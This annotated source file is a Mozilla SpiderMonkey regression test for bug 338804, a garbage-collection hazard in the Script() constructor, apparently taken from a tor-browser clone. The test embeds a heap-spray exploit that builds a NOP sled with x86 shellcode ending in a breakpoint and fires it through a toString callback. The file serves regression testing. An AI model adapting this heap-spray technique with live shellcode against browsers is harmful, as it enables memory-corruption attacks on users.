js/src/tests/js1_5/extensions/regress-338804-02.js@6474c204b198 (annotated)
js/src/tests/js1_5/extensions/regress-338804-02.js
Wed, 31 Dec 2014 06:09:35 +0100
- author
- Michael Schloh von Bennewitz <michael@schloh.com>
- date
- Wed, 31 Dec 2014 06:09:35 +0100
- changeset 0
- 6474c204b198
- permissions
- -rw-r--r--
Cloned upstream origin tor-browser at tor-browser-31.3.0esr-4.5-1-build1
revision ID fc1c9ff7c1b2defdbc039f12214767608f46423f for hacking purpose.
| michael@0 | 1 | /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ |
| michael@0 | 2 | /* This Source Code Form is subject to the terms of the Mozilla Public |
| michael@0 | 3 | * License, v. 2.0. If a copy of the MPL was not distributed with this |
| michael@0 | 4 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ |
| michael@0 | 5 | |
| michael@0 | 6 | //----------------------------------------------------------------------------- |
| michael@0 | 7 | var BUGNUMBER = 338804; |
| michael@0 | 8 | var summary = 'GC hazards in constructor functions'; |
| michael@0 | 9 | var actual = 'No Crash'; |
| michael@0 | 10 | var expect = 'No Crash'; |
| michael@0 | 11 | |
| michael@0 | 12 | printBugNumber(BUGNUMBER); |
| michael@0 | 13 | printStatus (summary); |
| michael@0 | 14 | printStatus ('Uses Intel Assembly'); |
| michael@0 | 15 | |
| michael@0 | 16 | // <script> |
| michael@0 | 17 | // SpiderMonkey Script() GC hazard exploit |
| michael@0 | 18 | // |
| michael@0 | 19 | // scale: magic number ;-) |
| michael@0 | 20 | // BonEcho/2.0a2: 3000 |
| michael@0 | 21 | // Firefox/1.5.0.4: 2000 |
| michael@0 | 22 | // |
| michael@0 | 23 | var rooter, scale = 2000; |
| michael@0 | 24 | |
| michael@0 | 25 | exploit(); |
| michael@0 | 26 | /* |
| michael@0 | 27 | if(typeof(setTimeout) != "undefined") { |
| michael@0 | 28 | setTimeout(exploit, 2000); |
| michael@0 | 29 | } else { |
| michael@0 | 30 | exploit(); |
| michael@0 | 31 | } |
| michael@0 | 32 | */ |
| michael@0 | 33 | |
| michael@0 | 34 | function exploit() { |
| michael@0 | 35 | if (typeof Script == 'undefined') |
| michael@0 | 36 | { |
| michael@0 | 37 | print('Test skipped. Script not defined.'); |
| michael@0 | 38 | } |
| michael@0 | 39 | else |
| michael@0 | 40 | { |
| michael@0 | 41 | Script({ toString: fillHeap }); |
| michael@0 | 42 | Script({ toString: fillHeap }); |
| michael@0 | 43 | } |
| michael@0 | 44 | } |
| michael@0 | 45 | |
| michael@0 | 46 | function createPayload() { |
| michael@0 | 47 | var result = "\u9090", i; |
| michael@0 | 48 | for(i = 0; i < 9; i++) { |
| michael@0 | 49 | result += result; |
| michael@0 | 50 | } |
| michael@0 | 51 | /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */ |
| michael@0 | 52 | result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2"; |
| michael@0 | 53 | return result; |
| michael@0 | 54 | } |
| michael@0 | 55 | |
| michael@0 | 56 | function fillHeap() { |
| michael@0 | 57 | rooter = []; |
| michael@0 | 58 | var payload = createPayload(), block = "", s2 = scale * 2, i; |
| michael@0 | 59 | for(i = 0; i < scale; i++) { |
| michael@0 | 60 | rooter[i] = block = block + payload; |
| michael@0 | 61 | } |
| michael@0 | 62 | for(; i < s2; i++) { |
| michael@0 | 63 | rooter[i] = payload + i; |
| michael@0 | 64 | } |
| michael@0 | 65 | return ""; |
| michael@0 | 66 | } |
| michael@0 | 67 | |
| michael@0 | 68 | // </script> |
| michael@0 | 69 | |
| michael@0 | 70 | reportCompare(expect, actual, summary); |
